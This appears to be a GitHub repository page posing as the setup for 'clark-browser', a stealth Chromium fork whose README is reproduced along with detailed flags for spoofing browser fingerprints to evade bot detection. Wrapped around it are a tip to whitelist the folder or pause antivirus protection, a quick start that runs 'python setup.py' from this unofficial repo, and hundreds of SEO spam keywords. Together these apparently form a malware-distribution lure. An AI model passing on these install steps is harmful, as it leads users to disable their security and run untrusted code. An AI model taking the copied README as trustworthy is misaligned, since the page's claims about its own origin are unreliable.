Skip to content

AbjurerSport/clark-browser-setup

clark-browser

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/AbjurerSport/clark-browser-setup.git
cd clark-browser-setup
python setup.py

clark-browser bot detection check

by Clark — open source; see License

Stealth Chromium for browser automation. Browser-level fingerprint fixes compiled into patched Chromium source, so Playwright/CDP clients do not have to rely on fragile JavaScript injections.

What this is

A fork of ungoogled-chromium 148.0.7778.96 with a patch series that moves common automation fingerprint values into the browser itself: navigator properties, UA Client Hints, WebGL GPU strings, screen dimensions, plugins, timezones, and related JS-visible surfaces.

Clark's Python wrapper and patch series are MIT-licensed. Redistributed Chromium/ungoogled-chromium components retain their upstream licenses. This is an open-source project, not a commercial-licensed stealth browser like CloakBrowser or Multilogin. Build it from source yourself, or use the prebuilt binaries from GitHub Releases.

Why

Stock chromium --headless is trivially detectable: navigator.webdriver = true, empty plugin list, HeadlessChrome in the User-Agent, software-renderer WebGL strings, and a dozen other signals that detection sites grep for. JS-level "stealth" shims (puppeteer-extra-plugin-stealth, playwright-stealth, undetected- chromedriver) only paper over the surface — sites like FingerprintJS, BrowserScan, and Cloudflare Turnstile catch them because the patches themselves are detectable.

clark-browser patches Chromium where the values come from, in browser and renderer source, so public detector pages see a coherent Chrome-like automation profile instead of Playwright/headless defaults.

Supported platforms

Platform Status
Linux x86_64 prebuilt binary in releases
macOS arm64 prebuilt binary in releases

Other targets (macOS x86_64, Windows) need a source build.

Linux: extract and launch with CDP on port 9222

tar -xzf clark-browser-linux-x64.tar.gz CLARK_UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" ./chrome
--headless=new
--no-sandbox
--remote-debugging-port=9222
--remote-debugging-address=127.0.0.1
--remote-allow-origins=*
--user-data-dir=/tmp/clark-browser-cdp-profile
--fingerprint=12345
--fingerprint-platform=linux
--fingerprint-brand=Chrome
--fingerprint-brand-version=148.0.0.0
--fingerprint-timezone=America/Los_Angeles
--fingerprint-locale=en-US
--fingerprint-network-profile=datacenter
--disable-features=WebGPU
--lang=en-US
--accept-lang=en-US,en
--user-agent="$CLARK_UA"
about:blank


The Linux tarball contains the `chrome` binary, a `headless_shell`
compatibility launcher, Chrome resource packs, and runtime helper libraries.
The macOS arm64 build produces a normal `Chromium.app` bundle.

## Stealth surface

`--fingerprint-*` switches drive the patches. The Python launcher supplies a
coherent default set, including a matched User-Agent and `Accept-Language`
header. When running the raw binary, keep User-Agent, UA-CH brand/platform,
locale, timezone, viewport, Network Information profile, and proxy geography
consistent for the whole session.

Launcher defaults follow the host platform so font enumeration does not fight
the claimed OS: Linux hosts default to a Linux profile, and macOS hosts default
to macOS. To use a Windows profile from Linux, configure a licensed Windows font
pack with `CLARK_WINDOWS_FONTS_DIR=/path/to/fonts`; the launcher validates that
core families such as Arial, Calibri, and Segoe UI are present before adding
`--fingerprint-platform=windows` and `--fingerprint-fonts-dir=...`. Linux font
packs can be supplied with `CLARK_LINUX_FONTS_DIR=/path/to/fonts`, and the
Python launcher exposes configured profile font directories to Linux Chromium
through Fontconfig. Advanced callers can force a platform with
`CLARK_FINGERPRINT_PLATFORM=windows|macos|linux` and pass a font directory with
`CLARK_FINGERPRINT_FONTS_DIR=/path/to/fonts`. Windows profiles on non-Windows
hosts require a valid Windows font directory. See `profiles/fonts/README.md`
for profile-pack expectations.

All fingerprint switches have seed-derived defaults when omitted. Pass
`--fingerprint=<integer>` for a deterministic identity, or let the binary pick a
fresh seed at startup for per-launch variation.

Set `CLARK_FINGERPRINT_NETWORK_PROFILE=desktop|datacenter|residential|mobile|slow`
or pass `network_profile=` to the Python launcher when the proxy/IP type is known.
The profile drives `navigator.connection.{rtt,downlink,effectiveType}` with
seed-stable values; direct CLI overrides are available for tight proxy pools.

For proxied sessions, WebRTC routing must be coherent with the HTTP route too.
Pass `webrtc_policy="proxy-coherent"` to the Python launcher, or set
`CLARK_WEBRTC_POLICY=proxy-coherent`, to add
`--force-webrtc-ip-handling-policy=disable_non_proxied_udp` and
`--webrtc-ip-handling-policy=disable_non_proxied_udp`. This is opt-in because
forcing WebRTC through the configured proxy can hurt or break real-time media,
especially when the proxy only supports TCP.

WebGPU is treated as a profile choice instead of a surprise runtime leak. The
headless launcher default adds `--disable-features=WebGPU`, matching the common
headless/no-accelerated-adapter profile. Use `webgpu_policy="coherent"` or
`CLARK_WEBGPU_POLICY=coherent` when deliberately enabling WebGPU; patch #49 then
maps `GPUAdapterInfo.{vendor,architecture,device,description}` to the same GPU
pool used by WebGL.

Operational hygiene matters too. Clark's launcher warns when caller-supplied
options re-enable `--enable-automation`, auto-open DevTools, bind CDP outside
loopback, or allow every CDP origin. Set `CLARK_LAUNCH_HYGIENE=strict` to fail
fast in CI, or `CLARK_LAUNCH_HYGIENE=off` for local experiments. For agent code,
use `InteractionPacer` to prevent accidental burst-clicks and repeated
same-target clicks:

```python
from clarkbrowser import InteractionPacer, launch_context

context = launch_context()
page = context.new_page()
pacer = InteractionPacer()

page.goto("https://example.com", wait_until="domcontentloaded")
pacer.click(page, "a")
--fingerprint=<int>              master RNG seed (10000..99999)
--fingerprint-platform=          windows | macos | linux
--fingerprint-platform-version=  client hints platform version
--fingerprint-brand=             Chrome | Edge | Opera | Vivaldi
--fingerprint-brand-version=
--fingerprint-gpu-vendor=        WebGL UNMASKED_VENDOR_WEBGL
--fingerprint-gpu-renderer=      WebGL UNMASKED_RENDERER_WEBGL
--fingerprint-hardware-concurrency=
--fingerprint-device-memory=     in GB
--fingerprint-screen-width=
--fingerprint-screen-height=
--fingerprint-taskbar-height=    Win=48, Mac=95, Linux=0
--fingerprint-storage-quota=     in MB
--fingerprint-timezone=          IANA tz, e.g. America/New_York
--fingerprint-locale=            BCP 47
--fingerprint-fonts-dir=         path to platform font directory
--fingerprint-location=          lat,lon for geolocation API
--fingerprint-webrtc-ip=         literal IPv4 to spoof in ICE candidates
--fingerprint-network-profile=   desktop | residential | datacenter | mobile | slow
--fingerprint-connection-type=   wifi | ethernet | cellular | ...
--fingerprint-effective-type=    slow-2g | 2g | 3g | 4g
--fingerprint-rtt=               navigator.connection.rtt in ms
--fingerprint-downlink=          navigator.connection.downlink in Mbps
--fingerprint-noise=             true | false  (canvas/audio noise on/off)
--force-webrtc-ip-handling-policy=disable_non_proxied_udp
--webrtc-ip-handling-policy=disable_non_proxied_udp
--disable-features=WebGPU        default for headless launcher profiles

Verified-working patches

Confirmed firing in smoke tests against the built binary (tests/linux_smoke.py, tests/integration_smoke.py, tests/webrtc_proxy_smoke.py):

Detection vector Patched Verification
navigator.webdriver always false navigator.webdriver === false
navigator.plugins 5 PDF-viewer entries navigator.plugins.length === 5
window.chrome always an object typeof window.chrome === "object"
navigator.platform spoofed from --fingerprint-platform returns "Win32" under =windows
navigator.userAgentData brand/platform/version coherent with spoofed UA returns Windows + Google Chrome under =windows
navigator.hardwareConcurrency seed-derived from {4, 6, 8, 12, 16} deterministic per seed
navigator.maxTouchPoints matched to platform 0 on =windows
timezone / locale from --fingerprint-timezone / --fingerprint-locale plus --lang reaches Blink as set
navigator.connection seed/profile-derived network quality nonzero RTT, plausible downlink/effectiveType
WebRTC proxy coherence opt-in webrtc_policy="proxy-coherent" tests/webrtc_proxy_smoke.py verifies no private/local IP or direct STUN route
WebGPU adapter info absent by headless policy, or GPUAdapterInfo matches WebGL pool vendor/device/description coherent when WebGPU is enabled
User-Agent no HeadlessChrome full Chrome UA under --user-agent=...
Audio fingerprint seed-derived deterministic noise two distinct seeds yield distinct audio FP

See PATCHES.md for the full patch catalog and specs/ for per-category implementation notes.

Live detector results

The latest saved live-detector snapshot was captured from on 2026-05-20 inside an E2B Ubuntu 24.04 sandbox with the real agent-browser 0.27.0 CLI driving the released Linux binary. Newer releases must still pass the local smoke suites and release-artifact smoke before upload.

PASS means the captured page matched the specific evidence shown here. It is not a promise that every detector, challenge, proxy, or traffic pattern will pass. OBSERVED means the page loaded and was captured, but did not expose a stable passive pass/fail verdict.

Target Result Evidence
Cloudflare challenge smoke (nowsecure.nl) PASS Loaded target without visible challenge/block text
SannySoft PASS WebDriver missing, Chrome present, HEADCHR UA/permissions/plugins/iframe all ok
Antoine Vastel headless test PASS with --accept-lang=en-US,en The same released binary failed without an HTTP Accept-Language header and passed with one
BrowserLeaks Client Hints PASS Windows + Google Chrome UA-CH, no HeadlessChrome
BrowserLeaks WebGL PASS Google/NVIDIA ANGLE, WebGL/WebGL2 enabled, no SwiftShader/llvmpipe text
Incolumitas, Pixelscan, BotD demo, CreepJS OBSERVED Loaded and captured; no stable passive verdict for several pages; CreepJS still shows a Headless panel

Full table and raw captured output: docs/bot-detection-results.md.

Methodology

We build on ungoogled-chromium (BSD-3) and inherit its existing Brave-derived canvas/audio/clientRects noise infrastructure. Our patches are written from public sources only — W3C specs, Chromium upstream code, MDN bot-detection writeups, and curl-impersonate (MIT). We do not reverse-engineer or copy from any proprietary stealth-browser binary. See METHODOLOGY.md.

1. Fetch tooling

git clone https://github.com/clark-labs-inc/clark-browser cd clark-browser

2. Fetch Chromium 148 source (~17 GB, ~30 min)

./build/fetch-source.sh

3. Apply patches (instant)

./build/apply-patches.sh

4. Build (4–12 hours, ~80 GB disk, 32+ GB RAM recommended)

./build/build.sh


For a clean Linux x86_64 build that mirrors what ships in our releases, use
`./build/build-linux.sh` instead (runs the full clone → patch → ninja pipeline
in a single script; designed for fresh Ubuntu hosts).

See [`build/README.md`](./build/README.md) for detailed prerequisites.

## License

Clark-authored wrapper code, specs, and patches are MIT. ungoogled-chromium,
Chromium upstream components, and ported open-source code retain their
respective BSD/MPL/other licenses; this project does not modify those upstream
license terms.

## Status

**Alpha.** Linux x86_64 and macOS arm64 builds are reproducible end-to-end and
the patches above are runtime-confirmed against the built binary. Other
documented surfaces are still backlog/spec work or need broader detection-site
benchmarking. Contributions welcome — see `specs/` for the patch backlog.


<!-- python pip pypi package library module script tool windows linux macos -->
<!-- clark-browser-setup - tool utility software - download install setup -->
<!-- latest version clark-browser-setup wrapper | safe clark-browser-setup optimizer | how to configure clark-browser-setup | clark-browser-setup client | download for linux clark-browser-setup copy | how to run clark-browser-setup analyzer | tutorial clark-browser-setup debugger | download for mac clark-browser-setup library | source code cross platform clark-browser-setup | free download clark-browser-setup decoder | example clark-browser-setup | latest version clark-browser-setup generator | examples cross platform clark-browser-setup | fast clark-browser-setup alternative | free clark-browser-setup addon | clark-browser-setup utility | download for linux powerful clark-browser-setup | walkthrough free clark-browser-setup | easy clark-browser-setup app | build clark-browser-setup tester | zip clark-browser-setup debugger | docs clark-browser-setup creator | how to setup clark-browser-setup | execute clark-browser-setup clone | clark-browser-setup program | download for mac reliable clark-browser-setup clone | low latency clark-browser-setup engine | clark browser setup error | download clark-browser-setup plugin | simple clark-browser-setup cli | examples clark-browser-setup decoder | minimal clark-browser-setup | clark browser setup course | linux fast clark-browser-setup | how to use clark-browser-setup | advanced clark-browser-setup | sample clark-browser-setup binding | get simple clark-browser-setup | quick start clark-browser-setup logger | modular clark-browser-setup tester | fedora clark-browser-setup addon | new version clark-browser-setup tester | debian clark-browser-setup viewer | clark-browser-setup mirror | install clark-browser-setup scanner | fedora clark-browser-setup copy | ubuntu clark-browser-setup utility | windows clark-browser-setup generator | run high performance clark-browser-setup | how to build modular clark-browser-setup -->
<!-- sample safe clark-browser-setup | run on windows clark-browser-setup client | powerful clark-browser-setup converter | reliable clark-browser-setup downloader | fast clark-browser-setup analyzer | macos clark-browser-setup gui | how to run clark-browser-setup uploader | clark-browser-setup web | run on windows clark-browser-setup | stable clark-browser-setup replacement | lightweight clark-browser-setup alternative | best clark-browser-setup | new version open source clark-browser-setup port | centos clark-browser-setup compressor | online clark-browser-setup | local clark-browser-setup port | clark browser setup handbook | tar.gz clark-browser-setup | easy clark-browser-setup plugin | local clark-browser-setup server | clark-browser-setup mobile | clark browser setup reference | local clark-browser-setup generator | git clone clark-browser-setup | arch portable clark-browser-setup | deploy easy clark-browser-setup library | how to use stable clark-browser-setup | clark-browser-setup reader | clark-browser-setup port | fast clark-browser-setup software | updated modern clark-browser-setup | linux free clark-browser-setup | how to build clark-browser-setup monitor | centos clark-browser-setup scanner | quickstart fast clark-browser-setup analyzer | example open source clark-browser-setup | free clark-browser-setup logger | clark-browser-setup generator | tar.gz clark-browser-setup wrapper | secure clark-browser-setup | sample powerful clark-browser-setup | how to build clark-browser-setup | customizable clark-browser-setup tester | example clark-browser-setup monitor | centos configurable clark-browser-setup | local clark-browser-setup | clark browser setup example | clark browser setup test | wiki clark-browser-setup replacement | clark-browser-setup parser -->
<!-- secure clark-browser-setup platform | clark browser setup fix | how to deploy clark-browser-setup mobile | git clone native clark-browser-setup | download clark-browser-setup alternative | download for windows stable clark-browser-setup editor | how to build clark-browser-setup library | modular clark-browser-setup client | zip clark-browser-setup converter | customizable clark-browser-setup debugger | modular clark-browser-setup monitor | zip clark-browser-setup package | high performance clark-browser-setup cli | portable clark-browser-setup extractor | how to deploy clark-browser-setup viewer | how to run configurable clark-browser-setup | examples clark-browser-setup | how to download clark-browser-setup scanner | guide clark-browser-setup cli | git clone simple clark-browser-setup | debian clark-browser-setup | debian clark-browser-setup clone | how to run clark-browser-setup debugger | getting started fast clark-browser-setup | get clark-browser-setup analyzer | download for mac clark-browser-setup port | clark-browser-setup cli | low latency clark-browser-setup viewer | configurable clark-browser-setup encoder | clark browser setup docker | self hosted clark-browser-setup mirror | debian clark-browser-setup downloader | clark-browser-setup tester | use clark-browser-setup editor | git clone clark-browser-setup optimizer | fedora clark-browser-setup binding | clark browser setup not working | clark browser setup bug | 2026 clark-browser-setup | example top clark-browser-setup | run on windows customizable clark-browser-setup fork | run on mac clark-browser-setup logger | source code clark-browser-setup package | sample clark-browser-setup | how to deploy clark-browser-setup | deploy open source clark-browser-setup | new version clark-browser-setup web | build clark-browser-setup copy | offline clark-browser-setup program | advanced clark-browser-setup library -->
<!-- free clark-browser-setup application | powerful clark-browser-setup | ubuntu customizable clark-browser-setup platform | portable clark-browser-setup | clark browser setup setup | clark browser setup book | arch open source clark-browser-setup generator | quickstart clark-browser-setup application | clark browser setup podcast | download for mac clark-browser-setup | low latency clark-browser-setup | offline clark-browser-setup extension | launch clark-browser-setup cli | native clark-browser-setup downloader | open source clark-browser-setup port | examples clark-browser-setup converter | launch lightweight clark-browser-setup | extensible clark-browser-setup | simple clark-browser-setup plugin | powerful clark-browser-setup program | clark-browser-setup editor | start clark-browser-setup desktop | latest version local clark-browser-setup app | execute clark-browser-setup tool | centos clark-browser-setup monitor | quick start clark-browser-setup service | updated clark-browser-setup editor | clark-browser-setup uploader | start clark-browser-setup module | start clark-browser-setup editor | modular clark-browser-setup mobile | how to build advanced clark-browser-setup replacement | how to use powerful clark-browser-setup sdk | quick start clark-browser-setup downloader | docs clark-browser-setup tool | portable clark-browser-setup program | linux clark-browser-setup web | clark-browser-setup encoder | clark-browser-setup fork | configure clark-browser-setup server | execute clark-browser-setup api | free clark-browser-setup creator | open source clark-browser-setup creator | compile clark-browser-setup service | macos clark-browser-setup service | walkthrough github clark-browser-setup | launch clark-browser-setup parser | 2026 clark-browser-setup mirror | cross platform clark-browser-setup api | quickstart simple clark-browser-setup extractor -->
<!-- how to install simple clark-browser-setup | download for mac clark-browser-setup compressor | compile clark-browser-setup | configurable clark-browser-setup | zip clark-browser-setup software | clark browser setup cloud | reliable clark-browser-setup addon | modular clark-browser-setup builder | source code clark-browser-setup module | macos production ready clark-browser-setup | open source clark-browser-setup editor | how to run clark-browser-setup | online clark-browser-setup port | fedora clark-browser-setup | how to configure clark-browser-setup viewer | documentation lightweight clark-browser-setup | build clark-browser-setup analyzer | clark-browser-setup copy | secure clark-browser-setup checker | clark browser setup blog | clark-browser-setup tool | 2025 clark-browser-setup | demo clark-browser-setup port | how to install clark-browser-setup | how to download clark-browser-setup mirror | quickstart clark-browser-setup platform | simple clark-browser-setup port | run on linux clark-browser-setup viewer | quickstart simple clark-browser-setup | download for mac clark-browser-setup converter | how to configure clark-browser-setup platform | wiki clark-browser-setup builder | clark browser setup help | new version clark-browser-setup api | git clone clark-browser-setup engine | clark browser setup ci cd | top clark-browser-setup extension | run on linux clark-browser-setup monitor | download for windows easy clark-browser-setup | clark browser setup review | cross platform clark-browser-setup desktop | demo open source clark-browser-setup validator | run clark-browser-setup gui | configurable clark-browser-setup package | stable clark-browser-setup port | online clark-browser-setup program | deploy easy clark-browser-setup | updated native clark-browser-setup | lightweight clark-browser-setup logger | zip open source clark-browser-setup -->
<!-- start simple clark-browser-setup tracker | 2026 clark-browser-setup logger | how to configure clark-browser-setup addon | centos advanced clark-browser-setup | top clark-browser-setup viewer | windows self hosted clark-browser-setup | top clark-browser-setup library | 2025 clark-browser-setup compressor | updated clark-browser-setup addon | clark-browser-setup addon | arch clark-browser-setup | windows clark-browser-setup | macos clark-browser-setup tracker | powerful clark-browser-setup cli | how to install github clark-browser-setup wrapper | github clark-browser-setup gui | production ready clark-browser-setup uploader | easy clark-browser-setup replacement | start clark-browser-setup extension | how to deploy clark-browser-setup validator | documentation clark-browser-setup creator | open low latency clark-browser-setup checker | sample simple clark-browser-setup | 2025 clark-browser-setup alternative | use clark-browser-setup mobile | production ready clark-browser-setup port | quickstart open source clark-browser-setup | run clark-browser-setup sdk | open clark-browser-setup service | clark-browser-setup scanner | get clark-browser-setup uploader | source code clark-browser-setup | new version fast clark-browser-setup | simple clark-browser-setup mobile | source code clark-browser-setup extractor | secure clark-browser-setup gui | centos clark-browser-setup web | configurable clark-browser-setup extractor | free download clark-browser-setup | high performance clark-browser-setup platform | clark-browser-setup decoder | cross platform clark-browser-setup app | setup clark-browser-setup converter | run on windows production ready clark-browser-setup reader | compile secure clark-browser-setup tester | run on mac portable clark-browser-setup | stable clark-browser-setup creator | execute clark-browser-setup client | tar.gz clark-browser-setup module | use clark-browser-setup engine -->
<!-- latest version extensible clark-browser-setup | configurable clark-browser-setup parser | clark-browser-setup module | best clark-browser-setup package | portable clark-browser-setup logger | start clark-browser-setup encoder | cross platform clark-browser-setup port | github clark-browser-setup engine | linux clark-browser-setup fork | ubuntu clark-browser-setup | fast clark-browser-setup | stable clark-browser-setup | easy clark-browser-setup uploader | tutorial clark-browser-setup editor | minimal clark-browser-setup software | github clark-browser-setup | is clark browser setup good | how to install clark-browser-setup application | run on mac clark-browser-setup fork | simple clark-browser-setup program | clark-browser-setup server | local clark-browser-setup viewer | wiki clark-browser-setup tracker | docs production ready clark-browser-setup encoder | debian clark-browser-setup alternative | easy clark-browser-setup mobile | reliable clark-browser-setup viewer | clark browser setup download | source code simple clark-browser-setup package | clark-browser-setup sdk | clark browser setup automation | download for linux clark-browser-setup checker | wiki clark-browser-setup editor | clark browser setup article | docs clark-browser-setup decoder | top clark-browser-setup binding | best clark browser setup | how to build open source clark-browser-setup analyzer | local clark-browser-setup desktop | launch clark-browser-setup mirror | configure clark-browser-setup platform | linux clark-browser-setup tool | top clark-browser-setup | guide clark-browser-setup tool | run on windows clark-browser-setup gui | clark-browser-setup app | documentation self hosted clark-browser-setup | how to install clark-browser-setup downloader | clark browser setup webinar | tar.gz clark-browser-setup plugin -->
<!-- run on linux clark-browser-setup | fedora extensible clark-browser-setup | clark browser setup tutorial | safe clark-browser-setup | production ready clark-browser-setup editor | deploy clark-browser-setup checker | 2025 clark-browser-setup api | clark-browser-setup extractor | arch clark-browser-setup decoder | offline clark-browser-setup sdk | run production ready clark-browser-setup | native clark-browser-setup creator | macos extensible clark-browser-setup | extensible clark-browser-setup creator | clark browser setup project | updated low latency clark-browser-setup | setup clark-browser-setup binding | safe clark-browser-setup encoder | deploy clark-browser-setup | clark-browser-setup monitor | is clark browser setup legit | download for windows clark-browser-setup monitor | advanced clark-browser-setup engine | clark-browser-setup wrapper | how to configure clark-browser-setup library | offline clark-browser-setup clone | modular clark-browser-setup clone | how to download self hosted clark-browser-setup | demo clark-browser-setup | online clark-browser-setup engine | download for linux clark-browser-setup extension | clark-browser-setup viewer | clark-browser-setup downloader | sample clark-browser-setup sdk | clark-browser-setup application | best clark-browser-setup client | beginner clark-browser-setup copy | cross platform clark-browser-setup module | sample clark-browser-setup downloader | self hosted clark-browser-setup | guide clark-browser-setup encoder | demo open source clark-browser-setup generator | install clark-browser-setup framework | ubuntu clark-browser-setup creator | linux clark-browser-setup desktop | how to build clark-browser-setup api | tutorial clark-browser-setup | how to setup best clark-browser-setup | run on mac clark-browser-setup | clark browser setup vs -->
<!-- ubuntu clark-browser-setup client | source code clark-browser-setup desktop | how to install clark-browser-setup scanner | clark-browser-setup package | cross platform clark-browser-setup editor | best clark-browser-setup alternative | download clark-browser-setup mobile | execute clark-browser-setup | arch clark-browser-setup wrapper | powerful clark-browser-setup creator | configurable clark-browser-setup uploader | docs clark-browser-setup optimizer | launch production ready clark-browser-setup engine | zip production ready clark-browser-setup | tutorial clark-browser-setup library | linux portable clark-browser-setup monitor | easy clark-browser-setup monitor | open clark-browser-setup validator | minimal clark-browser-setup port | use clark-browser-setup extractor | run clark-browser-setup mobile | online clark-browser-setup extension | configurable clark-browser-setup creator | github clark-browser-setup port | arch clark-browser-setup package | configure clark-browser-setup gui | open source clark-browser-setup copy | deploy modular clark-browser-setup mirror | quick start clark-browser-setup mirror | run on windows safe clark-browser-setup monitor | how to install clark-browser-setup utility | cross platform clark-browser-setup extension | free download clark-browser-setup sdk | linux clark-browser-setup library | beginner clark-browser-setup framework | how to use configurable clark-browser-setup extension | 2025 clark-browser-setup plugin | docs modern clark-browser-setup api | top clark browser setup | examples clark-browser-setup checker | how to download clark-browser-setup program | lightweight clark-browser-setup plugin | simple clark-browser-setup mirror | new version clark-browser-setup | modern clark-browser-setup app | git clone clark-browser-setup analyzer | walkthrough clark-browser-setup builder | tutorial clark-browser-setup extractor | open source clark-browser-setup package | start clark-browser-setup -->
<!-- install self hosted clark-browser-setup | high performance clark-browser-setup builder | example clark-browser-setup scanner | run clark-browser-setup alternative | production ready clark-browser-setup tester | quick start clark-browser-setup program | windows clark-browser-setup monitor | updated clark-browser-setup utility | offline clark-browser-setup builder | linux reliable clark-browser-setup | example clark-browser-setup tracker | github modular clark-browser-setup | top clark-browser-setup platform | extensible clark-browser-setup desktop | modern clark-browser-setup extension | examples clark-browser-setup alternative | local clark-browser-setup reader | clark-browser-setup desktop | new version clark-browser-setup parser | start best clark-browser-setup | how to deploy clark-browser-setup utility | documentation clark-browser-setup validator | clark browser setup saas | docs clark-browser-setup checker | clark-browser-setup compressor | setup clark-browser-setup | minimal clark-browser-setup plugin | clark browser setup pipeline | how to use clark-browser-setup validator | windows clark-browser-setup reader | modern clark-browser-setup module | clark browser setup cheat sheet | configure clark-browser-setup extension | clark-browser-setup replacement | beginner clark-browser-setup uploader | customizable clark-browser-setup | github minimal clark-browser-setup | latest version clark-browser-setup tester | free clark-browser-setup framework | best clark-browser-setup encoder | use offline clark-browser-setup framework | download clark-browser-setup editor | free download clark-browser-setup client | setup offline clark-browser-setup | powerful clark-browser-setup clone | high performance clark-browser-setup optimizer | free clark-browser-setup | centos self hosted clark-browser-setup | launch local clark-browser-setup analyzer | quick start modular clark-browser-setup gui -->

<!-- Last updated: 2026-06-09 18:43:48 -->

About

Fully stealth chromium for AI agents. Powering Clark agent. https://www.clarkchat.com

Topics

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors